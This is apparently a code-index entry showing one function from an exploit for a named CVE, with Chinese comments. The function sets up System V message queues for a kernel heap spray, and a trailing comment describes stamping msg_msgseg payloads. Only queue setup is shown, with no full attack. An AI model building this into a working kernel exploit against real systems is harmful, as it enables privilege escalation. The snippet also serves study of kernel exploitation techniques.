Function setup_msg_queues

CVE-2026-23271/exploit/exploit.cpp:1948–1962

预创建所有用于喷洒的消息队列 (MSG_SPRAY_COUNT + 伪造事件用的额外队列)

// 预创建所有用于喷洒的消息队列 (MSG_SPRAY_COUNT + 伪造事件用的额外队列)
void setup_msg_queues() {
    printf("[0-4] Setting up %d message queues...\n", MSG_SPRAY_COUNT);
    for (int i = 0; i < MSG_SPRAY_COUNT; i++) {
        if ((msg_queue_ids[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
            perror("msgget");
            exit(1);
        }
    }
    for (int i = 0 ; i < MSG_FAKE_A_COUNT + MSG_FAKE_B_COUNT; i++) {
        if ((msg_fake_ids[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
            perror("msgget");
            exit(1);
        }
    }
}

// 辅助函数: 向所有 msg 队列发送带有唯一印章的消息
// 每个 msg_msgseg 的 payload 区域填充 (msg_idx << 32) | byte_offset